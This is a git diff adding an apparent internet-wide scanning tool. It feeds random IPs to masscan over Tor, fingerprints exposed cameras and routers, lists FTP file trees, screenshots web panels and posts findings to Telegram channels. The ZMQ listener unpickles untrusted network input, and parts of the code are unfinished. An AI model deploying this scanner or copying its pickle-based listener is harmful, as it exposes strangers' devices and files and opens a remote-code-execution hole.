+ "title": [ + "NETSurveillance", + "WEB" + ], + "body": [ + "NetSuveillanceWebCookie" + ] + }, + "storage": { + "max": 100 + } + }, + "TELMEX": { + "content": { + "title": [], + "body": [ + "ProductName", + "Huawei", + "TELMEX" + ] + }, + "storage": { + "max": 100 + } + }, + "Docsis": { + "content": { + "title": [], + "body": [ + "showRefresh(\"Docsis_system" + ] + }, + "storage": { + "max": 100 + } + }, + "Hikvision": { + "content": { + "title": [], + "body": [ + "Hikvision" + ], + "server": "DNVRS-Webs" + } + } +} \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..05f599d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,64 @@ +version: '3.3' + +networks: + default: + ipam: + driver: default + config: + - subnet: 192.168.37.0/24 + +services: + core: + build: + context: ./docker/core + depends_on: + - redis + - mongo + ports: + - 12321:12321 + env_file: + - docker/env + environment: + - REDIS_IP=redis + - MONGO_IP=mongo + - SELENIUM_IP=selenium + - CORE_IP=core + volumes: + - .:/mdvd/ + + worker: + build: + context: ./docker/worker + env_file: + - docker/env + environment: + - REDIS_IP=redis + - MONGO_IP=mongo + - SELENIUM_IP=selenium + - CORE_IP=core + depends_on: + - core + - selenium + volumes: + - .:/mdvd/ + + selenium: + image: selenium/standalone-chrome:latest + volumes: + - /dev/shm:/dev/shm + environment: + - JAVA_OPTS=-Dselenium.LOGGER.level=WARNING + + mongo: + image: mongo:latest + volumes: + - ./docker/lib/mongo:/data/ + env_file: + - docker/env + + redis: + image: redis:latest + volumes: + - ./docker/lib/redis:/data/ + env_file: + - docker/env diff --git a/docker/confd/conf.d/config.json.toml b/docker/confd/conf.d/config.json.toml new file mode 100644 index 0000000..d89f986 --- /dev/null +++ b/docker/confd/conf.d/config.json.toml @@ -0,0 +1,29 @@ +[template] +src = "config.json.tmpl" +dest = "/mdvd/config.json" + +keys = [ + "/coop/conn/ip", + "/coop/conn/port", + "/coop/listen/ip", + "/coop/listen/port", + "/coop/mode", + "/coop/loglevel", + "/io/pool/delay", + "/io/pool/oneshot", + "/io/pool/size", + "/io/pool/loglevel", + "/io/ds/oneshot", + "/io/ds/loglevel", + "/io/df/loglevel", + "/io/df/telegram/token", + "/io/listener/listen", + "/io/listener/port", + "/io/listener/enabled", + "/io/listener/loglevel", + "/mongo/ip", + "/redis/ip", + "/selenium/ip", + "/core/ip", + "/loglevel" +] diff --git a/docker/confd/conf.d/proxychains.conf.toml b/docker/confd/conf.d/proxychains.conf.toml new file mode 100644 index 0000000..d9f766f --- /dev/null +++ b/docker/confd/conf.d/proxychains.conf.toml @@ -0,0 +1,7 @@ +[template] +src = "proxychains.conf.tmpl" +dest = "/etc/proxychains.conf" + +keys = [ + "/core/ip" +] diff --git a/docker/confd/templates/config.json.tmpl b/docker/confd/templates/config.json.tmpl new file mode 100644 index 0000000..23d479e --- /dev/null +++ b/docker/confd/templates/config.json.tmpl @@ -0,0 +1,87 @@ +{ + "stalker": { + "HTTP": { + "filters": "data/http/filters.json", + "loglevel": "{{ getv "/loglevel" }}", + "parallel": 70, + "ports": [ + 80, + 81, + 82, + 83, + 84, + 85, + 88, + 8000, + 8008, + 8080, + 8081, + 8888, + 9000, + 9080, + 9090, + 9999 + ], + "screenshots": { + "selenium": "{{ getv "/selenium/ip" }}", + "enabled": true, + "height": 768, + "load_timeout": 40, + "pause": 10, + "script_timeout": 60, + "width": 1366, + "workers": 5 + }, + "timeout": 30 + }, + "loglevel": "{{ getv "/loglevel" }}", + "proxy": "{{ getv "/core/ip" }}" + }, + "io": { + "df": { + "Remote": { + "delay": 20, + "preserve": true, + "ip": "{{ getv "/coop/conn/ip" }}", + "port": {{ getv "/coop/conn/port" }} + }, + "Telegram": { + "delay": 20, + "preserve": true, + "token": "{{ getv "/io/df/telegram/token" }}", + "chats": [ + { + "id": "xai7poozengee2Aen3poMookohthaZ", + "plugins": ["FTP", "Gopher", "HTTP"], + "enabled": true + }, + { + "id": "aiWeipeighah7vufoHa0ieToipooYe", + "plugins": ["FTP"], + "enabled": true + }, + { + "id": "ohl7AeGah5uo8cho4nae9Eemaeyae3", + "plugins": ["Gopher"], + "enabled": true + }, + { + "id": "gohquooFee3duaNaeNuthushoh8di2", + "plugins": ["HTTP"], + "enabled": true + } + ] + }, + "default": ["Telegram"], + "loglevel": "{{ getv "/io/df/loglevel" }}" + }, + "loglevel": "{{ getv "/loglevel" }}", + "mongo": { + "db": "medved", + "url": "mongodb://{{ getv "/mongo/ip" }}:27017" + }, + "redis": { + "host": "{{ getv "/redis/ip" }}" + } + } +} diff --git a/docker/confd/templates/proxychains.conf.tmpl b/docker/confd/templates/proxychains.conf.tmpl new file mode 100644 index 0000000..c9010b0 --- /dev/null +++ b/docker/confd/templates/proxychains.conf.tmpl @@ -0,0 +1,16 @@ +strict_chain + +tcp_read_time_out 15000 +tcp_connect_time_out 15000 + +localnet 127.0.0.0/255.0.0.0 +localnet 172.16.0.0/255.240.0.0 +localnet 192.168.0.0/255.255.0.0 + +localnet 149.154.167.197/255.255.255.255 +localnet 149.154.167.198/255.255.255.255 +localnet 149.154.167.199/255.255.255.255 +localnet 149.154.167.200/255.255.255.255 + +[ProxyList] +socks5 {{ getv "/core/ip" }} 9050 \ No newline at end of file diff --git a/docker/core/Dockerfile b/docker/core/Dockerfile new file mode 100644 index 0000000..7f472b6 --- /dev/null +++ b/docker/core/Dockerfile @@ -0,0 +1,18 @@ +FROM medved_base:latest + +RUN pacman -S --noconfirm --needed git libpcap linux-headers clang tor + +RUN git clone https://github.com/robertdavidgraham/masscan && \ + cd masscan && \ + make -j && \ + mv bin/masscan /bin/masscan + +RUN wget -N http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz && gunzip GeoLiteCity.dat.gz + +RUN mkdir -p /usr/share/GeoIP/ && mv GeoLiteCity.dat /usr/share/GeoIP/GeoIPCity.dat + +ADD files/torrc /etc/tor/torrc + +ADD files/run.sh /tmp/run.sh + +CMD ["/tmp/run.sh"] diff --git a/docker/core/files/run.sh b/docker/core/files/run.sh new file mode 100755 index 0000000..cccc964 --- /dev/null +++ b/docker/core/files/run.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash + +export CORE_IP=$(host ${CORE_IP} | head -n1 | grep -Po "(\d+\.?){4}") +export MONGO_IP=$(host ${MONGO_IP} | head -n1 | grep -Po "(\d+\.?){4}") +export SELENIUM_IP=$(host ${SELENIUM_IP} | head -n1 | grep -Po "(\d+\.?){4}") +export REDIS_IP=$(host ${REDIS_IP} | head -n1 | grep -Po "(\d+\.?){4}") + +/tmp/confd -onetime -backend env + +sudo -u tor tor + +cd /mdvd && proxychains -q python3 medved.py \ No newline at end of file diff --git a/docker/core/files/torrc b/docker/core/files/torrc new file mode 100644 index 0000000..67cb5fe --- /dev/null +++ b/docker/core/files/torrc @@ -0,0 +1,5 @@ +SocksPort 0.0.0.0:9050 +SocksPolicy accept * +Log notice syslog +DataDirectory /var/lib/tor +RunAsDaemon 1 diff --git a/docker/env b/docker/env new file mode 100644 index 0000000..4eebc6d --- /dev/null +++ b/docker/env @@ -0,0 +1,29 @@ +LOGLEVEL=DEBUG + +COOP_CONN_IP=192.168.99.130 +COOP_CONN_PORT=12321 +COOP_LISTEN_IP=0.0.0.0 +COOP_LISTEN_PORT=12321 + +COOP_MODE=master +COOP_LOGLEVEL=DEBUG + +IO_POOL_LOGLEVEL=DEBUG +IO_POOL_SIZE=15000 +IO_POOL_DELAY=3 +IO_POOL_ONESHOT=200 + +IO_LISTENER_LOGLEVEL=DEBUG +IO_LISTENER_ENABLED=true +IO_LISTENER_LISTEN=0.0.0.0 +IO_LISTENER_PORT=12321 + +IO_DS_ONESHOT=350 +IO_DS_LOGLEVEL=DEBUG + +IO_DF_LOGLEVEL=DEBUG + +IO_DF_TELEGRAM_TOKEN=TOKEN + +LC_ALL=en_US.utf-8 +LANG=en_US.utf-8 diff --git a/docker/lib/mongo/.keep b/docker/lib/mongo/.keep new file mode 100644 index 0000000..e69de29 diff --git a/docker/lib/redis/.keep b/docker/lib/redis/.keep new file mode 100644 index 0000000..e69de29 diff --git a/docker/test.sh b/docker/test.sh new file mode 100755 index 0000000..c1f6e24 --- /dev/null +++ b/docker/test.sh @@ -0,0 +1,10 @@ +#!/bin/bash -x + +export CORE_IP=$(host ${CORE_IP} | head -n1 | grep -Po "(\d+\.?){4}") + +source /mdvd/docker/env + +/tmp/confd -onetime -backend env + +cat /etc/proxychains.conf +cat /mdvd/config.json | python -m json.tool \ No newline at end of file diff --git a/docker/worker/Dockerfile b/docker/worker/Dockerfile new file mode 100644 index 0000000..c16118e --- /dev/null +++ b/docker/worker/Dockerfile @@ -0,0 +1,5 @@ +FROM medved_base:latest + +ADD files/run.sh /tmp/run.sh + +CMD ["/tmp/run.sh"] diff --git a/docker/worker/files/run.sh b/docker/worker/files/run.sh new file mode 100755 index 0000000..e21c6fc --- /dev/null +++ b/docker/worker/files/run.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash + +export CORE_IP=$(host ${CORE_IP} | head -n1 | grep -Po "(\d+\.?){4}") + +/tmp/confd -onetime -backend env + +cd /mdvd && proxychains -q rq worker common -u "redis://${REDIS_IP}:6379/" \ No newline at end of file diff --git a/lib/Service.py b/lib/Service.py new file mode 100644 index 0000000..46b6232 --- /dev/null +++ b/lib/Service.py @@ -0,0 +1,66 @@ +from time import sleep +from threading import Thread +from lib import Logger, Loader, Loadable +from Config import cnf + +class Service(Loadable): + def __init__(self, thread, id, root=cnf): + super().__init__(id, root) + + self._data = Loader.by_id('storage', self.lcnf.data.id) + + self._stop_timeout = 10 + self._running = False + self._thread_to_run = thread + self._run_thread = None + self._logger = Logger('Service') + + self._init() + + def _init(self): + pass + + def start(self): + self._logger.debug('pre_start') + self._pre_start() + + self._logger.debug('start') + self._running = True + self._run_thread = Thread(target=self._thread_to_run) + self._run_thread.daemon = True + self._run_thread.start() + + self._logger.debug('post_start') + self._post_start() + + self._logger.info('start finished') + + def stop(self): + self._logger.debug('pre_stop') + self._pre_stop() + + self._logger.debug('stop') + self._running = False + self._run_thread.join(timeout=self._stop_timeout) + + self._logger.debug('post_stop') + self._post_stop() + + self._logger.info('stop finished') + + def __run(self): + while self._running: + self._logger.debug('NOOP') + sleep(1) + + def _pre_stop(self): + pass + + def _post_stop(self): + pass + + def _pre_start(self): + pass + + def _post_start(self): + pass diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..7878017 --- /dev/null +++ b/lib/__init__.py @@ -0,0 +1,3 @@ +import data +from .util import Logger, Loader, Loadable +from .Service import Service \ No newline at end of file diff --git a/lib/data/Feed.py b/lib/data/Feed.py new file mode 100644 index 0000000..7c90090 --- /dev/null +++ b/lib/data/Feed.py @@ -0,0 +1,19 @@ +from queue import LifoQueue +from time import sleep + +import itertools + +from lib.net import Remote +from lib import Service + + +class Feed(Service): + def __init__(self, thread, id, root): + super().__init__(thread, id, root) + self._logger.add_field('service', 'Feed') + self._logger.add_field('vname', self.__class__.__name__) + + def get(self, plugin, count=1, timeout=3): + items = self._data.get(count) + self._logger.debug("get %s OF %s", len(items), count) + return items diff --git a/lib/data/Filter.py b/lib/data/Filter.py new file mode 100644 index 0000000..cc2fcf0 --- /dev/null +++ b/lib/data/Filter.py @@ -0,0 +1,19 @@ +from lib import Loader + +class Filter: + def __init__(self): + self._not_exist = [] + self._exist = [] + self._equal = {} + self._not_equal = {} + + def generate(self): + pass + +def MongoFilter(filter): + def generate(self): + data = {} + #for i in + + +# dunno \ No newline at end of file diff --git a/lib/data/Manager.py b/lib/data/Manager.py new file mode 100644 index 0000000..cab9b65 --- /dev/null +++ b/lib/data/Manager.py @@ -0,0 +1,59 @@ +from lib.data import Source, Feed +from time import sleep +from lib import Service, Loader + +class DataManager(Service): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + self._logger.add_field('service', 'DataManager') + + self.sources = {} + for s in self.lcnf.sources: + self.attach_source(s) + self.feeds = {} + for f in self.lcnf.feeds: + self.attach_feed(f) + + def _pre_start(self): + self._logger.debug('starting sources') + for _,s in self.sources.items(): + s.start() + self._logger.debug('starting feeds') + for _,f in self.feeds.items(): + f.start() + + def _pre_stop(self): + self._logger.debug('stopping sources') + for _,s in self.sources.items(): + s.stop() + self._logger.debug('stopping feeds') + for _,f in self.feeds.items(): + f.stop() + + def attach_source(self, id): + ds = Loader.by_id('sources', id) + self.sources[id] = ds + + def attach_feed(self, id): + df = Loader.by_id('feeds', id) + self.feeds[id] = df + + def get_source(self, name) -> Source: + return self.sources.get(name) + + def get_feed(self, name) -> Feed: + return self.feeds.get(name) + + def __run(self): + while self._running: + if self._data.count() < self.lcnf.oneshot: + while self._running and (self._data.count() + self.lcnf.oneshot < self._data.size()): + self._logger.debug("fill %s OF %s", self._data.count(), self._data.size()) + for _,source in self.sources.items(): + items = source.next(count=self.lcnf.oneshot) + if items: + self._data.put(items) + sleep(1) + else: + self._logger.debug('Pool size is ok: %s', self._data.count()) + sleep(1) diff --git a/lib/data/Source.py b/lib/data/Source.py new file mode 100644 index 0000000..22f74b1 --- /dev/null +++ b/lib/data/Source.py @@ -0,0 +1,20 @@ +from lib import Service + +class Source(Service): + def __init__(self, thread, id, root): + super().__init__(thread, id, root) + self._logger.add_field('service', 'Feed') + self._logger.add_field('vname', self.__class__.__name__) + + def item(self, val = None): + return { + 'source': self._id, + 'steps': {}, + 'data': val + } + + def next(self, count=10, block=False): + if self._running or not self._data.count() == 0: + return self._data.get(count=count, block=block) + elif self._data.count() == 0: + raise Exception("Storage is empty, generator is stopped") diff --git a/lib/data/Storage.py b/lib/data/Storage.py new file mode 100644 index 0000000..7480c12 --- /dev/null +++ b/lib/data/Storage.py @@ -0,0 +1,82 @@ +from queue import LifoQueue, Empty, Full + +from lib import Loadable, Logger + +class Storage(Loadable): + def __init__(self, id, root): + super().__init__(id, root) + + self._size = self.lcnf.size + self._logger = Logger("Storage") + self._logger.add_field('vname', self.__class__.__name__) + + def size(self): + return self._size + + def count(self): + return 0 + + def _get(self, block, filter): + pass + + def _get_many(self, count, block, filter): + items = [] + for _ in range(count): + items.append(self._get(block, filter)) + return items + + def get(self, count=1, block=True, filter=None): + self._logger.debug("get %s, %s", count, block) + items = [] + if count == 1: + items.append(self._get(block, filter)) + elif count > 1: + items = self._get_many(count, block, filter) + return [i for i in items if i is not None] + + def _put(self, item, block): + pass + + def _put_many(self, items, block): + for i in items: + if i is not None: + self._put(i, block) + + def put(self, items, block=True): + if items: + items = [i for i in items if i is not None] + self._logger.debug("put %s, %s", len(items), block) + if len(items) == 1: + self._put(items[0], block) + elif len(items) > 1: + self._put_many(items, block) + + def _find(self): + pass + + def find(self): + self._logger.debug("find") + return self._find() + + +class LiFoStorage(Storage): + def __init__(self, id, root): + super().__init__(id, root) + self._data = LifoQueue() + + def count(self): + return self._data.qsize() + + def _get(self, block=False, filter=None): + try: + return self._data.get(block=block) + except Empty: + pass + + def _put(self, item, block=True): + try: + self._data.put(item, block=block) + except Full: + pass + + diff --git a/lib/data/Type.py b/lib/data/Type.py new file mode 100644 index 0000000..58af0d0 --- /dev/null +++ b/lib/data/Type.py @@ -0,0 +1,11 @@ +from lib import Loadable, Logger + +class Type(Loadable): + def __init__(self): + self.data = {} + +class Host(Type): + def __init__(self): + self.data = { + 'ip': '' + } diff --git a/lib/data/__init__.py b/lib/data/__init__.py new file mode 100644 index 0000000..dbfb839 --- /dev/null +++ b/lib/data/__init__.py @@ -0,0 +1,7 @@ +from .Storage import Storage +from .Source import Source +from .Feed import Feed + +from .Manager import DataManager + +__all__ = ['Storage', 'Source', 'DataManager'] diff --git a/lib/exeq/Executor.py b/lib/exeq/Executor.py new file mode 100644 index 0000000..de2e078 --- /dev/null +++ b/lib/exeq/Executor.py @@ -0,0 +1,42 @@ +from lib import Service, Loader, Loadable + +from lib.tasks.worker import worker + +from rq import Queue +from redis import Redis + + +class Executor(Service): + def __init__(self, thread, id, root): + super().__init__(thread, id, root) + self._logger.add_field('service', 'Executor') + self._logger.add_field('vname', self.__class__.__name__) + + +class RQExecutor(Executor): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def __run(self): + while self._running: + try: + for pn, pipeline in self.cnf.pipelines: + self._logger.debug("pipeline: %s", pn) + for step in pipeline.steps: + self._logger.debug("step: %s", step.name) + redis_conn = Redis(host=self.lcnf.redis.host) + q = Queue('worker', connection=redis_conn) + filter = { + "not_exist": [ + pn + '_' + step.name + ] + } + items = [] + if step.multiple != False: + items = self._data.get(count=step.multiple, filter=filter) + else: + items = self._data.get(filter=filter) + for i in items: + q.enqueue(Loader(step.package).get(step.service), i) + except Exception as e: + self._logger.error(e) diff --git a/lib/exeq/Pipeline.py b/lib/exeq/Pipeline.py new file mode 100644 index 0000000..34b3158 --- /dev/null +++ b/lib/exeq/Pipeline.py @@ -0,0 +1,7 @@ +from lib import Loadable + +class Pipeline(Loadable): + def __init__(self, id, root): + super().__init__(id, root) + + diff --git a/lib/exeq/__init__.py b/lib/exeq/__init__.py new file mode 100644 index 0000000..f03ef9b --- /dev/null +++ b/lib/exeq/__init__.py @@ -0,0 +1 @@ +from .Executor import Executor diff --git a/lib/net/Action.py b/lib/net/Action.py new file mode 100644 index 0000000..ea5c5e9 --- /dev/null +++ b/lib/net/Action.py @@ -0,0 +1,20 @@ +class Action: + def __init__(self, datapool): + self._datapool = datapool + self.result = None + + def run(self, data): + pass + +class data_get(Action): + def run(self, data): + return self._datapool.get(data["plugin"], data["count"]) + +class data_put(Action): + def run(self, data): + self._datapool.put(data['plugin'], data['items']) + +class ActionManager: + @staticmethod + def get(name: str): + return globals()[name.replace('.', '_')] \ No newline at end of file diff --git a/lib/net/Listener.py b/lib/net/Listener.py new file mode 100644 index 0000000..31d707e --- /dev/null +++ b/lib/net/Listener.py @@ -0,0 +1,46 @@ +# pylint: disable=E1101 + +from lib import Service +from lib.net import ActionManager, Message + +import zmq + +class Listener(Service): + def __init__(self, thread, id, root): + super().__init__(thread, id, root) + self._logger.add_field('service', 'Listener') + self._logger.add_field('vname', self.__class__.__name__) + +class ZMQListener(Listener): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def _pre_start(self): + self._running = True + self._z_ctx = zmq.Context() + self._z_sck = self._z_ctx.socket(zmq.REP) + self._z_sck.bind("tcp://%s:%s" % (self.lcnf.listen, self.lcnf.port)) + + def _post_stop(self): + self._z_ctx.destroy() + + def __run(self): + while self._running: + try: + reply = Message() + msg = None + try: + msg = Message.load(self._z_sck.recv()) + if msg: + self._logger.info("Requested %s", msg.get('action')) + action = ActionManager.get(msg.get('action'))(self._datapool) + reply.set('data', action.run(msg.get('data'))) + reply.set('status', True) + except Exception as e: + self._logger.warn("Action %s failed", msg.get('action')) + self._logger.debug(e) + reply.set('data', e) + reply.set('status', False) + self._z_sck.send(reply.dump()) + except Exception as e: + self._logger.error(e) diff --git a/lib/net/Message.py b/lib/net/Message.py new file mode 100644 index 0000000..69e92b2 --- /dev/null +++ b/lib/net/Message.py @@ -0,0 +1,27 @@ +import pickle + +class Message: + def __init__(self, data=None): + if data is None: + data = {} + self._data = data + + def set(self, key, value): + self._data[key] = value + + def get(self, key): + return self._data.get(key, None) + + def data(self): + return self._data + + def dump(self): + return pickle.dumps(self) + + @classmethod + def load(cls, pickled_data): + try: + obj = pickle.loads(pickled_data) + return cls(obj.data()) + except EOFError: + return cls({}) \ No newline at end of file diff --git a/lib/net/Remote.py b/lib/net/Remote.py new file mode 100644 index 0000000..81c2f76 --- /dev/null +++ b/lib/net/Remote.py @@ -0,0 +1,45 @@ +# pylint: disable=E1101 + +import zmq +import threading + +from Config import cnf +from lib.net import Message +from lib import Logger + +class Remote: + def __init__(self, ip, port): + self._send_lock = threading.Lock() + self._ip = ip + self._port = port + self._url = "tcp://%s:%s" % (ip, port) + self._logger = Logger("Remote %s" % self._url) + self._z_ctx = None + self._z_sck = None + + def connect(self): + self._z_ctx = zmq.Context() + self._z_sck = self._z_ctx.socket(zmq.REQ) + + def run(self, action, data=None): + msg = Message() + msg.set('action', action) + msg.set('data', data) + + rep = self._send_msg(msg) + + if rep.get('status') == False: + self._logger.info(rep.get('data')) + + return rep + + def _send_msg(self, msg): + self._logger.debug(msg.data()) + self._send_lock.acquire() + self._z_sck.connect(self._url) + self._z_sck.send(msg.dump()) + reply = Message.load(self._z_sck.recv()) + self._send_lock.release() + self._logger.debug(reply.data()) + return reply + diff --git a/lib/net/__init__.py b/lib/net/__init__.py new file mode 100644 index 0000000..a64b641 --- /dev/null +++ b/lib/net/__init__.py @@ -0,0 +1,4 @@ +from .Message import Message +from .Action import Action, ActionManager +from .Remote import Remote +from .Listener import Listener diff --git a/lib/plugin/Manager.py b/lib/plugin/Manager.py new file mode 100644 index 0000000..1c9a035 --- /dev/null +++ b/lib/plugin/Manager.py @@ -0,0 +1,9 @@ +import importlib + +class Manager: + def __init__(self): + pass + + @staticmethod + def get_plugin(name): + return importlib.import_module("lib.plugin.plugins." + name) \ No newline at end of file diff --git a/lib/plugin/Task.py b/lib/plugin/Task.py new file mode 100644 index 0000000..d5026e4 --- /dev/null +++ b/lib/plugin/Task.py @@ -0,0 +1,6 @@ +class Task: + def __init__(self): + self._data = None + + def run(self): + pass \ No newline at end of file diff --git a/lib/plugin/__init__.py b/lib/plugin/__init__.py new file mode 100644 index 0000000..89a55df --- /dev/null +++ b/lib/plugin/__init__.py @@ -0,0 +1 @@ +from .Manager import Manager \ No newline at end of file diff --git a/lib/plugin/base/lib/IP.py b/lib/plugin/base/lib/IP.py new file mode 100644 index 0000000..9c6ffcd --- /dev/null +++ b/lib/plugin/base/lib/IP.py @@ -0,0 +1,87 @@ +from lib.data import Source +from lib import Loader + +from time import sleep + +import os +import netaddr +import itertools +import random +import socket +import struct + +class IPSource(Source): + def __init__(self, thread, id, root): + super().__init__(thread, id, root) + + def item(self, val = None): + return { + 'source': self._id, + 'data': { + 'ip': val + } + } + + +class IPRange(IPSource): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + self._iprange = [] + self.load_ip_range() + + def load_ip_range(self): + ip_range = [] + with open(self.lcnf.path, "r") as text: + for line in text: + try: + diap = line.split('-') + if len(diap) == 2: + ip_range.append(netaddr.IPRange(diap[0], diap[1])) + else: + ip_range.append(netaddr.IPNetwork(diap[0])) + except Exception as e: + raise Exception("Error while adding range {}: {}".format(line, e)) + self._iprange = ip_range + def __run(self): + npos = 0 + apos = 0 + while self._running: + try: + for _ in itertools.repeat(None, self.lcnf.oneshot): + if self.lcnf.ordered: + # put currently selected element + self._data.put(str(self._iprange[npos][apos])) + # rotate next element through networks and addresses + if apos + 1 < self._iprange[npos].size: + apos += 1 + else: + apos = 0 + if npos + 1 < len(self._iprange): + npos += 1 + else: + if self.lcnf.repeat: + npos = 0 + else: + self.stop() + else: + self._data.put(str(random.choice(random.choice(self._iprange)))) + sleep(self.lcnf.delay) + except Exception as e: + self._logger.warn(e) + + +class RandomIP(IPSource): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def __run(self): + while self._running: + try: + items = [] + for _ in itertools.repeat(None, self.lcnf.oneshot): + randomip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) + items.append(self.item(str(randomip))) + self._data.put(items) + sleep(self.lcnf.delay) + except Exception as e: + self._logger.warn(e) diff --git a/lib/plugin/base/lib/Mongo.py b/lib/plugin/base/lib/Mongo.py new file mode 100644 index 0000000..3be0bee --- /dev/null +++ b/lib/plugin/base/lib/Mongo.py @@ -0,0 +1,46 @@ +from pymongo import MongoClient +from time import sleep +from lib.data import Storage + +class MongoStorage(Storage): + def __init__(self, id, root): + super().__init__(id, root) + self._client = MongoClient(self.lcnf.url) + self._db = self._client.get_database(self.lcnf.db) + self._coll = self._db.get_collection(self.lcnf.coll) + self._logger.add_field("db", self.lcnf.db, 7) + self._logger.add_field("coll", self.lcnf.coll, 7) + self._logger.debug("Connecting") + + def count(self): + return self._coll.count() + + def _get(self, block, filter): + if filter is None: + filter = {} + item = self._coll.find_one_and_delete(filter=filter) + if block: + while not item: + item = self._coll.find_one_and_delete(filter=filter) + sleep(1) + + return item + + def _put(self, item, block): + if block: + while self.count() + 1 >= self.size(): + self._logger.debug('Collection full: %s of %s', self.count(), self.size()) + sleep(1) + self._coll.insert_one(item) + + def _put_many(self, items, block): + if block: + while self.count() + len(items) >= self.size(): + self._logger.debug('Collection full: %s of %s', self.count(), self.size()) + sleep(1) + self._coll.insert_many(items) + + def _find(self, filter=None): + if filter is None: + filter = {} + return self._coll.find(filter) diff --git a/lib/plugin/base/lib/Remote.py b/lib/plugin/base/lib/Remote.py new file mode 100644 index 0000000..3280b51 --- /dev/null +++ b/lib/plugin/base/lib/Remote.py @@ -0,0 +1,40 @@ +from lib.data import Feed, Source +from lib.net import Remote +from time import sleep + +class RemoteFeed(Feed): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def __run(self): + while self._running: + try: + remote = Remote(self.lcnf.ip, self.lcnf.port) + remote.connect() + items = self.get(5) + if items: + self._logger.info("Sending %s items" % len(items)) + remote.run('data.put', {'items': items}) + + sleep(self.lcnf.delay) + except Exception as e: + self._logger.warn(e) + +class RemoteSource(Source): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def __run(self): + remote = Remote(self.lcnf.ip, self.lcnf.port) + remote.connect() + while self._running: + self._logger.debug("Requesting from %s", self.lcnf.ip) + rep = remote.run('data.get', {'count': self.lcnf.oneshot}) + if rep.get('status'): + targets = rep.get("data") + else: + targets = [] + self._logger.debug("Got %s items", len(targets)) + for t in targets: + self._data.put(t) + sleep(self.lcnf.delay) \ No newline at end of file diff --git a/lib/plugin/base/lib/Telegram.py b/lib/plugin/base/lib/Telegram.py new file mode 100644 index 0000000..8181198 --- /dev/null +++ b/lib/plugin/base/lib/Telegram.py @@ -0,0 +1,33 @@ +from lib.data import Feed, Filter +from lib.plugin import Manager + +import telebot +from time import sleep + + +class TelegramFeed(Feed): + def __init__(self, id, root): + super().__init__(self.__run, id, root) + + def __run(self): + while self._running: + try: + for chat in self.lcnf.chats: + chat_id = chat.id + sleep(self.lcnf.delay) + continue + msg = Manager.get_plugin(plugin).Plugin.TelegramMessage(host) + msg.run() + if msg.data['txt']: + tbot = telebot.TeleBot(self.lcnf.token, threaded=False) + if msg.data['img']: + self._logger.debug("Send IP with img %s:%s to %s" % (host['ip'], host['port'], chat_id)) + tbot.send_photo("@" + chat_id, msg.data['img'], caption=msg.data['txt']) + else: + self._logger.debug("Send IP %s:%s to %s" % (host['ip'], host['port'], chat_id)) + tbot.send_message("@" + chat_id, msg.data['txt']) + else: + self._logger.error('Empty text!') + sleep(self.lcnf.delay) + except Exception as e: + self._logger.warn(e) diff --git a/lib/plugin/iscan/plugin.yaml b/lib/plugin/iscan/plugin.yaml new file mode 100644 index 0000000..7845be1 --- /dev/null +++ b/lib/plugin/iscan/plugin.yaml @@ -0,0 +1,62 @@ +plugin: + name: iscan + version: 0.1 + pipelines: + FTP: + actions: + - scan + - connect + - metadata + - filetree + df: + Telegram: + action: metadata + chats: + - xai7poozengee2Aen3poMookohthaZ + - aiWeipeighah7vufoHa0ieToipooYe + HTTP: + actions: + - scan + - connect + - metadata + - screenshot + df: + Telegram: + action: screenshot + chats: + - xai7poozengee2Aen3poMookohthaZ + - gohquooFee3duaNaeNuthushoh8di2 + Gopher: + actions: + - connect + - collect + df: + Telegram: + action: collect + chats: + - xai7poozengee2Aen3poMookohthaZ + - ohl7AeGah5uo8cho4nae9Eemaeyae3 + + +df: + Telegram: + token: TOKEN + +ds: + IPRange: + file: file + Remote: + + +docker: + services: + selenium: + image: selenium/standalone-chrome:latest + volumes: + - /dev/shm:/dev/shm + environment: + - JAVA_OPTS=-Dselenium.LOGGER.level=WARNING + worker_env: + - SELENIUM_IP=selenium + required_by: + - HTTP \ No newline at end of file diff --git a/lib/plugin/iscan/tasks/common.py b/lib/plugin/iscan/tasks/common.py new file mode 100644 index 0000000..1a42930 --- /dev/null +++ b/lib/plugin/iscan/tasks/common.py @@ -0,0 +1,56 @@ +# pylint: disable=E1101 + +import subprocess +import json +from jsoncomment import JsonComment +from lib import Logger +import GeoIP +from Config import cnf + +logger = Logger("common") + + +class MasScan: + def __init__(self, bin_path='/usr/bin/masscan', opts="-sS -Pn -n --wait 0 --max-rate 5000"): + self.bin_path = bin_path + self.opts_list = opts.split(' ') + + def scan(self, ip_list, port_list): + port_list = ','.join([str(p) for p in port_list]) + ip_list = ','.join([str(ip) for ip in ip_list]) + process_list = [self.bin_path] + process_list.extend(self.opts_list) + process_list.extend(['-oJ', '-', '-p']) + process_list.append(port_list) + process_list.append(ip_list) + + proc = subprocess.run(process_list, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) + out = proc.stdout.decode('utf-8') if proc.stdout else '[]' + parser = JsonComment(json) + result = parser.loads(out) + return result + +def scan(items, taskid): + gi = GeoIP.open(cnf.geoip_dat, GeoIP.GEOIP_INDEX_CACHE | GeoIP.GEOIP_CHECK_CACHE) + logger.debug("Starting scan") + ms = MasScan() + hosts = ms.scan(ip_list=[i['data']['ip'] for i in items], port_list=cnf.Tasks[taskid].ports) + for h in hosts: + for port in h['ports']: + host = { + 'ip': h['ip'], + 'port': port['port'], + 'data': { + 'geo': { + 'country': None, + 'city': None + } + } + } + geodata = gi.record_by_name(host['ip']) + if geodata: + if 'country_code3' in geodata and geodata['country_code3']: + host['data']['geo']['country'] = geodata['country_code3'] + if 'city' in geodata and geodata['city']: + host['data']['geo']['city'] = geodata['city'] + logger.debug("Found %s:%s", host['ip'], host['port']) \ No newline at end of file diff --git a/lib/plugin/plugins/Base.py b/lib/plugin/plugins/Base.py 